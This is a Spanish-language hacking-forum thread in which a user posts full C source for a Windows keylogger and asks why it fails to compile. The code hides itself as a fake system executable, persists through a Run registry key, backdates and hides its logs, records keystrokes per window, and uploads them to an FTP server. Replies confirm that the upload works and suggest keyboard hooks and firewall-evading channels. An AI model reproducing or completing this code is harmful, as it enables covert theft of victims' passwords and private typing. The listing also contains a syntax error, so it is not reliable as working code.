comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] Ayuda compilar keylogger

  • 2 Respuestas
  • 1664 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado deth

  • *
  • Underc0der
  • Mensajes: 61
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Enero 07, 2014, 03:40:34 pm »
hola amigos tengo este codigo de un keylogger lo saque de una revista digital de seguridad informatica de hace un tiempo, pero no puedo compilarlo me marca  "parse error" y otros errores, aqui el codigo:

Código: C
  1. #include <string.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <windows.h>
  5. #include <winsock2.h>
  6. #include <wininet.h>
  7. #include <time.h>
  8.  
  9. long filesize(FILE *stream);
  10. int ftpst();
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19. int file_exist(char *filename);
  20. void Dey();
  21. void fecha(char *endo);
  22. void config();
  23.  
  24. char servidor[31], usuario[31], clave[17], Svl[21], pa[50];
  25. char name[100],pro[16],pat[250],yotas[250];
  26. HWND aquien;
  27. FILE *enf;
  28. char nombre[200],txt[10]=".txt";
  29. char *nom;
  30. int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE
  31. hPrevInstance,LPSTR lpszArgument,int nFunsterStil)
  32. {
  33.     DWORD tamanolen=100;
  34.     char a[16],b[16],padre[100],laveria[250];
  35.     int ot;
  36.     time_t t;
  37.     HKEY hreg;
  38.     char *ubica,ubicac[180],caves[253],host[200],archi[250];
  39.     struct hostent *ha;
  40.     WSADATA wsas;
  41.  
  42.     GetModuleFileName(hThisInstance,yotas,250);
  43.     config();
  44.     ubica=ubicac;
  45.     GetSystemDirectory(ubica,180);
  46.     sprintf(pat,"%s\\",ubica);
  47.     strcpy(padre,pat);
  48.     sprintf(ubica,"%s\\%s",ubica,Svl);
  49.     GetComputerName(name,&tamanolen);
  50.     _strdate(a);
  51.     _strtime(b);
  52.     nom=nombre;
  53.     strcpy(nom,name);
  54.     sprintf(nom,"%s%c%c%c%c",nom,,a[0],a[1],a[3],a[4]);
  55.     sprintf(laveria,"%s%s",pat,nom);
  56.     strncat(nom,b,2);
  57.     strcat(pat,nom);
  58.     strcat(nom,txt);
  59.     for(ot=0;ot<=24;ot++)
  60.     {
  61.         if(ot<10)
  62.             sprintf(caves,"%s0%d",laveria,ot);
  63.         else
  64.             sprintf(caves,"%s%d",laveria,ot);
  65.         if(file_exist(caves)==1)
  66.         {
  67.             if(remove(caves)!=0)
  68.                 exit(0);
  69.         }
  70.     }
  71.     if(strcmpi(yotas,ubica)!=0)
  72.     {
  73.        if(file_exist(ubica)==0)
  74.        {
  75.          CopyFile(yotas,ubica,0);
  76.          fecha(ubica);
  77.          SetCurrentDirectory(padre);
  78.          WinExec(ubica,0);
  79.  
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.        }
  87.        exit(0);
  88.     }
  89.  
  90. RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentV
  91. ersion\\Run",0,KEY_ALL_ACCESS,&hreg);
  92.     RegSetValueEx(hreg,pro,0,REG_SZ,ubica,strlen(ubica));
  93.     RegCloseKey(hreg);
  94.     if(!(enf=fopen(pat,"a")))
  95.     {
  96.        strcpy(pat,"C:\\Windows\\System32\\Qetgeqec");
  97.        if(!(enf=fopen(pat,"a")))
  98.          exit(0);
  99.     }
  100.     WSAStartup(MAKEWORD(2,0),&wsas);
  101.     gethostname(host,255);
  102.     ha=gethostbyname(host);
  103.     WSACleanup();
  104.     sprintf(archi,"\n| Ejecutandose en Host: (%s) con IP:
  105. (%s)",host,inet_ntoa(*((struct in_addr *)ha->h_addr)));
  106.     if(strlen(archi)<70)
  107.     {
  108.         for(ot=strlen(archi);ot<69;ot++)
  109.         {
  110.               archi[ot]=' ';
  111.               archi[ot+1]='\0';
  112.         }
  113.         strcat(archi," |");
  114.     }
  115.     archi[strlen(archi)]='\0';
  116.     ot=GetKBCodePage();
  117.     fprintf(enf,"\n+--------------------------------------------------
  118. ------------------+");
  119.     fprintf(enf,"\n| DKey 1.2.1 - se reserva derechos de autor |");
  120.     fprintf(enf,"\n| Proceso Iniciado %s %s                                
  121. |",a,b);
  122.     fprintf(enf,archi);
  123.     fprintf(enf,"\n| Codigo para modificacion de users de consultorio
  124. informatico          |");
  125.     if(ot!=850)
  126.     {
  127.         fprintf(enf,"\nLa configuracion del teclado no es soportada");
  128.         fprintf(enf,"\npor DKey 1.2.1");
  129.     }
  130.     fecha(pat);
  131.     Dey();
  132. }
  133. void Dey()
  134. {
  135.    time_t ltime;
  136.    int teta=0;
  137.    int anterior=1;
  138.    int blo=0;
  139.    char Taquien[255];
  140.    char *tetas;
  141.    int D;
  142.    int tama=1024;
  143.    char alfabeta[] = "abcdefghijklmnopqrstuvwxyz";
  144.    char alfabetanum[] = "0123456789";
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.    fflush(stdin);
  155.    fprintf(enf,"\n+---------------------------------------------------
  156. -----------------+");
  157.    tama=filesize(enf);
  158.    fecha(pat);
  159.    aquien=GetForegroundWindow();
  160.    tetas=calloc(32768,sizeof(char));
  161.    while(1<2)
  162.    {
  163.        if(GetForegroundWindow()!=aquien)
  164.        {
  165.            if(strlen(Taquien)>0 && strlen(tetas)>0)
  166.            {
  167.               time(&ltime);
  168.               ctime(&ltime);
  169.               fprintf(enf,"\n\nFecha: %s",ctime(&ltime));
  170.               fprintf(enf,"[ Ventana: %s ]",Taquien);
  171.               fprintf(enf,"\n    %s",tetas);
  172.               if(tama<filesize(enf))
  173.               {
  174.                   tama=filesize(enf)+1024;
  175.                   fclose(enf);
  176.                   fecha(pat);
  177.                   ftpst();
  178.                   if(!(enf=fopen(pat,"a")))
  179.                   {
  180.                      strcpy(pat,"C:\\Windows\\System32\\Qetgeqec");
  181.                      if(!(enf=fopen(pat,"a")))
  182.                      exit(0);
  183.                   }
  184.               }
  185.               fecha(pat);
  186.               free(tetas);
  187.               tetas=calloc(32768,sizeof(char));
  188.            }
  189.            aquien=GetForegroundWindow();
  190.        }
  191.        else
  192.            GetWindowText(aquien,Taquien,255);
  193.        for(teta=4;teta<256;teta++)
  194.        {
  195.           if(GetAsyncKeyState(teta)==-32767)
  196.           {
  197.               if(teta>=65 && teta<91)
  198.               {
  199.                 for(D=65;D<91;D++)
  200.                 {
  201.                   if(teta==D)
  202.                   {
  203.                      if(blo==1)
  204.                         strupr(alfabeta);
  205.                      else if(blo==0)
  206.                         strlwr(alfabeta);
  207.                      tetas[strlen(tetas)]=alfabeta[teta-65];
  208.                      tetas[strlen(tetas)]='\0';
  209.                      anterior=0;
  210.                   }
  211.                 }
  212.               }
  213.               else if(teta>=96 && teta<106)
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.               {
  222.                 for(D=96;D<106;D++)
  223.                 {
  224.                  if(teta==D)
  225.                  {
  226.                      tetas[strlen(tetas)]=alfabetanum[teta-96];
  227.                      tetas[strlen(tetas)]='\0';
  228.                      anterior=0;
  229.                  }
  230.                 }
  231.               }
  232.               switch(teta)
  233.               {
  234.                   case 8:
  235.                     if (anterior==0)
  236.                        tetas[strlen(tetas)-1]='\0';
  237.                     else if(anterior==2)
  238.                        tetas[strlen(tetas)-3]='\0';
  239.                     else if(anterior==1)
  240.                          strcat(tetas,"[Retro]");
  241.                     break;
  242.                   case 9:
  243.                     strcat(tetas,"[Tab]");
  244.                     anterior=1;
  245.                     break;
  246.                   case 13:
  247.                     strcat(tetas,"[Enter]");
  248.                     if (anterior==0)
  249.                        strcat(tetas,"\n");
  250.                     else if(anterior==2)
  251.                        strcat(tetas,"\n");
  252.                     anterior=1;
  253.                     break;
  254.                   case 16:
  255.                     strcat(tetas,"[Shift]");
  256.                     anterior=1;
  257.                     break;
  258.                   case 17:
  259.                     strcat(tetas,"[Ctrl]");
  260.                     anterior=1;
  261.                     break;
  262.                   case 18:
  263.                     strcat(tetas,"[Alt]");
  264.                     anterior=1;
  265.                     break;
  266.                   case 20:
  267.                     strcat(tetas,"[Bloq]");
  268.                     if(blo==1)
  269.                     {
  270.                        blo=0;
  271.                        goto fin;
  272.                     }
  273.                     else if(blo==0)
  274.                     {
  275.                        blo=1;
  276.                        anterior=1;
  277.                     }
  278.                     fin:
  279.                        anterior=1;
  280.                     break;
  281.                   case 27:
  282.  
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289.                     strcat(tetas,"[Escape]");
  290.                     anterior=1;
  291.                     break;
  292.                   case 32:
  293.                     strcat(tetas," ");
  294.                     anterior=0;
  295.                     break;
  296.                   case 33:
  297.                     strcat(tetas,"[RePag]");
  298.                     anterior=1;
  299.                     break;
  300.                   case 34:
  301.                     strcat(tetas,"[AvPag]");
  302.                     anterior=1;
  303.                     break;
  304.                   case 35:
  305.                     strcat(tetas,"[Fin]");
  306.                     anterior=1;
  307.                     break;
  308.                   case 36:
  309.                     strcat(tetas,"[Inicio]");
  310.                     anterior=1;
  311.                     break;
  312.                   case 37:
  313.                     strcat(tetas,"[Izquierda]");
  314.                     anterior=1;
  315.                     break;
  316.                   case 38:
  317.                     strcat(tetas,"[Arriba]");
  318.                     anterior=1;
  319.                     break;
  320.                   case 39:
  321.                     strcat(tetas,"[Derecha]");
  322.                     anterior=1;
  323.                     break;
  324.                   case 40:
  325.                     strcat(tetas,"[Abajo]");
  326.                     anterior=1;
  327.                     break;
  328.                   case 44:
  329.                     strcat(tetas,"[ImprPant]");
  330.                     anterior=1;
  331.                     break;
  332.                   case 45:
  333.                     strcat(tetas,"[Insert]");
  334.                     anterior=1;
  335.                     break;
  336.                   case 46:
  337.                     strcat(tetas,"[Supr]");
  338.                     anterior=1;
  339.                     break;
  340.                   case 48:
  341.                     tetas[strlen(tetas)]='0';
  342.                     tetas[strlen(tetas)]='\0';
  343.                     anterior=0;
  344.                     break;
  345.                   case 49:
  346.                     tetas[strlen(tetas)]='1';
  347.                     tetas[strlen(tetas)]='\0';
  348.                     anterior=0;
  349.                     break;
  350.  
  351.  
  352.  
  353.  
  354.  
  355.  
  356.  
  357.                   case 50:
  358.                     tetas[strlen(tetas)]='2';
  359.                     tetas[strlen(tetas)]='\0';
  360.                     anterior=0;
  361.                     break;
  362.                   case 51:
  363.                     tetas[strlen(tetas)]='3';
  364.                     tetas[strlen(tetas)]='\0';
  365.                     anterior=0;
  366.                     break;
  367.                   case 52:
  368.                     tetas[strlen(tetas)]='4';
  369.                     tetas[strlen(tetas)]='\0';
  370.                     anterior=0;
  371.                     break;
  372.                   case 53:
  373.                     tetas[strlen(tetas)]='5';
  374.                     tetas[strlen(tetas)]='\0';
  375.                     anterior=0;
  376.                     break;
  377.                   case 54:
  378.                     tetas[strlen(tetas)]='6';
  379.                     tetas[strlen(tetas)]='\0';
  380.                     anterior=0;
  381.                     break;
  382.                   case 55:
  383.                     tetas[strlen(tetas)]='7';
  384.                     tetas[strlen(tetas)]='\0';
  385.                     anterior=0;
  386.                     break;
  387.                   case 56:
  388.                     tetas[strlen(tetas)]='8';
  389.                     tetas[strlen(tetas)]='\0';
  390.                     anterior=0;
  391.                     break;
  392.                   case 57:
  393.                     tetas[strlen(tetas)]='9';
  394.                     tetas[strlen(tetas)]='\0';
  395.                     anterior=0;
  396.                     break;
  397.                   case 91:
  398.                     strcat(tetas,"[Win]");
  399.                     anterior=1;
  400.                     break;
  401.                   case 93:
  402.                     strcat(tetas,"[Propie]");
  403.                     anterior=1;
  404.                     break;
  405.                   case 106:
  406.                     tetas[strlen(tetas)]='*';
  407.                     tetas[strlen(tetas)]='\0';
  408.                     anterior=0;
  409.                     break;
  410.                   case 107:
  411.                     tetas[strlen(tetas)]='+';
  412.                     tetas[strlen(tetas)]='\0';
  413.                     anterior=0;
  414.                     break;
  415.                   case 109:
  416.                     tetas[strlen(tetas)]='-';
  417.                     tetas[strlen(tetas)]='\0';
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424.  
  425.                     anterior=0;
  426.                     break;
  427.                   case 110:
  428.                     tetas[strlen(tetas)]='.';
  429.                     tetas[strlen(tetas)]='\0';
  430.                     anterior=0;
  431.                     break;;
  432.                   case 111:
  433.                     tetas[strlen(tetas)]='/';
  434.                     tetas[strlen(tetas)]='\0';
  435.                     anterior=0;
  436.                     break;
  437.                   case 112:
  438.                     strcat(tetas,"[F1]");
  439.                     anterior=1;
  440.                     break;
  441.                   case 113:
  442.                     strcat(tetas,"[F2]");
  443.                     anterior=1;
  444.                     break;
  445.                   case 114:
  446.                     strcat(tetas,"[F3]");
  447.                     anterior=1;
  448.                     break;
  449.                   case 115:
  450.                     strcat(tetas,"[F4]");
  451.                     anterior=1;
  452.                     break;
  453.                   case 116:
  454.                     strcat(tetas,"[F5]");
  455.                     anterior=1;
  456.                     break;
  457.                   case 117:
  458.                     strcat(tetas,"[F6]");
  459.                     anterior=1;
  460.                     break;
  461.                   case 118:
  462.                     strcat(tetas,"[F7]");
  463.                     anterior=1;
  464.                     break;
  465.                   case 119:
  466.                     strcat(tetas,"[F8]");
  467.                     anterior=1;
  468.                     break;
  469.                   case 120:
  470.                     strcat(tetas,"[F9]");
  471.                     anterior=1;
  472.                     break;
  473.                   case 121:
  474.                     strcat(tetas,"[F10]");
  475.                     anterior=1;
  476.                     break;
  477.                   case 122:
  478.                     strcat(tetas,"[F11]");
  479.                     anterior=1;
  480.                     break;
  481.                   case 123:
  482.                     strcat(tetas,"[F12]");
  483.                     anterior=1;
  484.                     break;
  485.                   case 144:
  486.  
  487.  
  488.  
  489.  
  490.  
  491.  
  492.  
  493.                     strcat(tetas,"[BloqNum]");
  494.                     anterior=1;
  495.                     break;
  496.                   case 145:
  497.                     strcat(tetas,"[BloqDespl]");
  498.                     anterior=1;
  499.                     break;
  500.                   case 186:
  501.                     strcat(tetas,"[´]");
  502.                     anterior=2;
  503.                     break;
  504.                   case 187:
  505.                     tetas[strlen(tetas)]='+';
  506.                     tetas[strlen(tetas)]='\0';
  507.                     anterior=0;
  508.                     break;
  509.                   case 188:
  510.                     tetas[strlen(tetas)]=',';
  511.                     tetas[strlen(tetas)]='\0';
  512.                     anterior=0;
  513.                     break;
  514.                   case 189:
  515.                     tetas[strlen(tetas)]='-';
  516.                     tetas[strlen(tetas)]='\0';
  517.                     anterior=0;
  518.                     break;
  519.                   case 190:
  520.                     tetas[strlen(tetas)]='.';
  521.                     tetas[strlen(tetas)]='\0';
  522.                     anterior=0;
  523.                     break;
  524.                   case 191:
  525.                     tetas[strlen(tetas)]='ç';
  526.                     tetas[strlen(tetas)]='\0';
  527.                     anterior=0;
  528.                     break;
  529.                   case 192:
  530.                     if(blo==1)
  531.                     {
  532.                        strcat(tetas,"Ñ");
  533.                     }
  534.                     else if(blo==0)
  535.                     {
  536.                        strcat(tetas,"ñ");
  537.                     }
  538.                     anterior=0;
  539.                     break;
  540.                   case 219:
  541.                     strcat(tetas,"[']");
  542.                     anterior=2;
  543.                     break;
  544.                   case 220:
  545.                     tetas[strlen(tetas)]='\\';
  546.                     tetas[strlen(tetas)]='\0';
  547.                     anterior=0;
  548.                     break;
  549.                   case 221:
  550.                     tetas[strlen(tetas)]='¡';
  551.                     tetas[strlen(tetas)]='\0';
  552.                     anterior=0;
  553.                     break;
  554.  
  555.  
  556.  
  557.  
  558.  
  559.  
  560.  
  561.                   case 222:
  562.                     strcat(tetas,"[");
  563.                     anterior=0;
  564.                     break;
  565.                   case 226:
  566.                     tetas[strlen(tetas)]='<';
  567.                     tetas[strlen(tetas)]='\0';
  568.                     anterior=0;
  569.                     break;
  570.               };
  571.           }
  572.        }
  573.    }
  574. }
  575. int file_exist(char *filename)
  576. {
  577.   return (access(filename, 0) == 0);
  578. }
  579. long filesize(FILE *stream)
  580. {
  581.    long curpos, length;
  582.    curpos = ftell(stream);
  583.    fseek(stream, 0L, SEEK_END);
  584.    length = ftell(stream);
  585.    fseek(stream, curpos, SEEK_SET);
  586.    return length;
  587. }
  588.  
  589. int ftpst()
  590. {
  591.     HINTERNET con,connecta,archivo;
  592.  
  593.     con=InternetOpen("Drox Team",INTERNET_SCHEME_FTP,NULL,NULL,0);
  594.     if(con!=NULL)
  595.     {
  596.  
  597. connecta=InternetConnect(con,servidor,21,usuario,clave,INTERNET_SERVIC
  598. E_FTP,INTERNET_FLAG_PASSIVE,0);
  599.         if(connecta!=NULL)
  600.         {
  601.  
  602. archivo=FtpOpenFile(connecta,nom,GENERIC_WRITE,FTP_TRANSFER_TYPE_ASCII
  603. ,0);
  604.             InternetCloseHandle(archivo);
  605.             FtpPutFile(connecta,pat,nom,FTP_TRANSFER_TYPE_ASCII,0);
  606.             InternetCloseHandle(connecta);
  607.         }
  608.         InternetCloseHandle(con);
  609.     }
  610.     return 0;
  611. }
  612.  
  613. void fecha(char *endo)
  614. {
  615.     FILETIME ft;
  616.     SYSTEMTIME st;
  617.     BOOL f;
  618.     HANDLE hFile;
  619.  
  620.  
  621.  
  622.  
  623.  
  624.  
  625.  
  626.  
  627.  
  628.  
  629.     hFile=CreateFile(endo,GENERIC_READ |
  630. GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  631.     st.wDay=1;
  632.     st.wDayOfWeek=0;
  633.     st.wHour=5;
  634.     st.wMilliseconds=0;
  635.     st.wMinute=0;
  636.     st.wMonth=1;
  637.     st.wSecond=0;
  638.     st.wYear=2000;
  639.     SystemTimeToFileTime(&st, &ft);
  640.     f=SetFileTime(hFile, &ft, &ft, &ft);
  641.     SetFileAttributes(endo,2|4);
  642.     CloseHandle(hFile);
  643.     return;
  644. }
  645. void config()      /* Modulo alterado */
  646. {
  647.     strcpy(servidor,"Servidor FTP");
  648.     strcpy(usuario,"Nombre de usuario");
  649.     strcpy(clave,"123456 :P");
  650.     strcpy(Svl,"SIvChost.exe");
  651.     strcpy(pro,"SIvChost");
  652.     return;
  653. }
  654.  

deberia ser cliente y servidor ? pero donde empieza el codigo del cliente y el del servidor? o es todo en uno?

gracias de antemano.
« Última modificación: Agosto 19, 2014, 09:38:16 pm por Expermicid »

Desconectado #define

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
  • Por supuesto, el proyecto estará para mañana...
    • Ver Perfil
    • Email
« Respuesta #1 en: Enero 17, 2014, 03:22:13 pm »
Hola, aquí va mi primer mensaje en la comunidad jejeje... Eres el afortunado :P

Hahaha, bueno, según lo que he visto del código (yo justamente ahora ando intentando hacer el mío propio pero no es fácil), únicamente tienes el código del keylogger (si me equivoco por favor corregidme). Me explico:

Para enviar y recibir datos a través de Internet, me refiero a los datos que capture el keylogger en el ordenador de la víctima (enviar dichos datos de la víctima, que es el cliente, al servidor, que recibirá los datos), hay que programar lo que se conoce como sockets. Los sockets (lo explico con mis palabras) son unas funciones del sistema operativo para hacer uso de los protocolos de la capa de transporte (TCP/UDP) principalmente. Lo que sucede con los sockets, al igual que con el keylogger, es que para programarlos tienes que tener en cuenta el sistema operativo sobre el cual van a ejecutarse, ya que las librerías que hay que incluir son distintas, pues las API de los sistemas operativos también lo son. Y para keyloggers y sockets hay que hacer uso de las API del sistema operativo.

Te comento lo anterior porque en el código que muestras sí veo un array que llama servidor y más cosas, pero no veo sockets por ningún lado (es un tanto extraño). Pero como ya digo, si alguien sabe que me equivoco no tengo problema en que me corrija, encantado.

Por último, a mí también me dan errores los códigos de keyloggers al compilarlos con determinados compiladores, si usas Windows, Dev-C++ suele ir bastante bien.

Espero haberte aclarado.
Saludos y dale caña, no desesperes!!! 8) ;)

Edito debido a que mi cabeza estaba ausente y puse que IP era un protocolo de la capa de transporte jjejejeje...
« Última modificación: Enero 17, 2014, 03:28:51 pm por #define »
¿Os habéis parado un segundo a pensar qué podría haber pasado si Dennis Ritchie y Ken Thompson no hubieran hecho lo que hicieron o no hubieran existido?

Desconectado Psymera

  • *
  • Underc0der
  • Mensajes: 75
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Enero 23, 2014, 04:41:03 pm »
Bueno hay les van la lluva de pedradas y zapes xD
el codigo esta muy feo en primer lugar xD
pero si tiene envio de datos
es por ftp
asi que no hay cliente servidor
se envian lso datos a un servidor ftp, donde se configura usuaro contraseña puerto y host para coenctar
se auto inicia
en teoria esta completo :3
pero esta muy chafa y que lo que ocupa es el manejo de el estado del teclado con ciclos y no hace un hook al teclado para realmente
interactuar solo al uso del teclado
este lo pueden complar donde kieran, vc o devc
yo prefiero vc es mejod IDE y no tiene nada ke pedirle al compilar al devc solo hay que leer como configurar el compilador de forma adecuada
como sea para incio y dar una idea muy vaga de un keylogger esta bien
si ya realmente quieres jugar con uno funciona in the will
necesitan manejar el hook de teclado :3
o por ke no?
de apis :3
ademas de manejar protocolo estenografiados de comunicacion apra salto de firewalls eh ids :3
El conocimiento es libre...
La información no lo es xD

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 8398
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1716
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2297
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 3200
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Problem al instalar Windows "cualquier windows"

Iniciado por Made

Respuestas: 7
Vistas: 3135
Último mensaje Septiembre 03, 2012, 04:53:08 pm
por Made